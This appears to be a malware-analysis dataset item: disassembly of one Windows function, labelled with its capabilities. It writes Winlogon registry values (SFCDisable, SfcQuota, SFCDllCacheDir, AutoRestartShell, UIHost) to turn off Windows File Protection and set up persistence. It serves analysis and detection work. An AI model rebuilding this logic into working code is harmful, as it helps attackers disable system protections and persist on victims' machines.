Function at 0x4b42f0
Capabilities:
Disable system features via registry on windows
Get common file path
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
sub esp, 0x30c
push ebx
push ebp
push esi
push edi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov dword [esp + 0x1c], 4
call fcn.004fa6c0
add esp, 4
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push ecx
push edx
push 0
push 0xf003f
push 0
push 0xc30c0c
push 0
push eax
push closesocket
call esi
test eax, eax
jne 0x4b4356
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.SFCDisable
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov dword [esp + 0x1c], 0xffffffff
call fcn.004fa6c0
add esp, 4
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push edx
push 0
push 0xf003f
push 0
push 0xc30c0c
push 0
push eax
push closesocket
call esi
test eax, eax
jne 0x4b43b9
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.SfcQuota
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call ebp
lea eax, [esp + 0x21c]
push 0x100
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x21c]
lea edx, [esp + 0x1c]
push ecx
push str._sdllcache
push edx
call fcn.004f175f
lea eax, [esp + 0x228]
lea ecx, [esp + 0x128]
push eax
push str._sdllcache_bk
push ecx
call fcn.004f175f
lea edx, [esp + 0x134]
lea eax, [esp + 0x34]
push edx
push eax
call fcn.004f34a1
lea ecx, [esp + 0x3c]
push ecx
call fcn.004f2beb
add esp, 0x24
test eax, eax
jne 0x4b4438
lea edx, [esp + 0x1c]
push edx
call fcn.004fa6c0
add esp, 4
mov ebx, eax
jmp 0x4b443c
mov ebx, dword [esp + 0x14]
lea eax, [esp + 0x11c]
push eax
call fcn.004f2beb
add esp, 4
test eax, eax
jne 0x4b4462
lea ecx, [esp + 0x11c]
push ecx
call fcn.004fa6c0
add esp, 4
mov ebx, eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
call fcn.004fa6c0
add esp, 4
lea edx, [esp + 0x14]
lea ecx, [esp + 0x10]
push edx
push ecx
push 0
push 0xf003f
push 0
push 0xc30c0c
push 0
push eax
push closesocket
call esi
test eax, eax
jne 0x4b44b3
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edx, dword [esp + 0x10]
not ecx
push ecx
push ebx
push 1
push eax
push str.SFCDllCacheDir
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
push eax
call ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov dword [esp + 0x1c], 1
call fcn.004fa6c0
add esp, 4
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push edx
push 0
push 0xf003f
push 0
push 0xc30c0c
push 0
push eax
push closesocket
call esi
test eax, eax
jne 0x4b4510
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.AutoRestartShell
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 0x10]
push edx
call ebp
push str.logonui.exe
call fcn.004fa6c0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov ebx, eax
call fcn.004fa6c0
add esp, 8
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push edx
push 0
push 0xf003f
push 0
push 0xc30c0c
push 0
push eax
push closesocket
call esi
test eax, eax
jne 0x4b4574
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
push ecx
push ebx
push 1
push eax
mov eax, dword [esp + 0x20]
push str.UIHost
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call ebp
push str.c:endpcache
call fcn.004f2beb
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30c
ret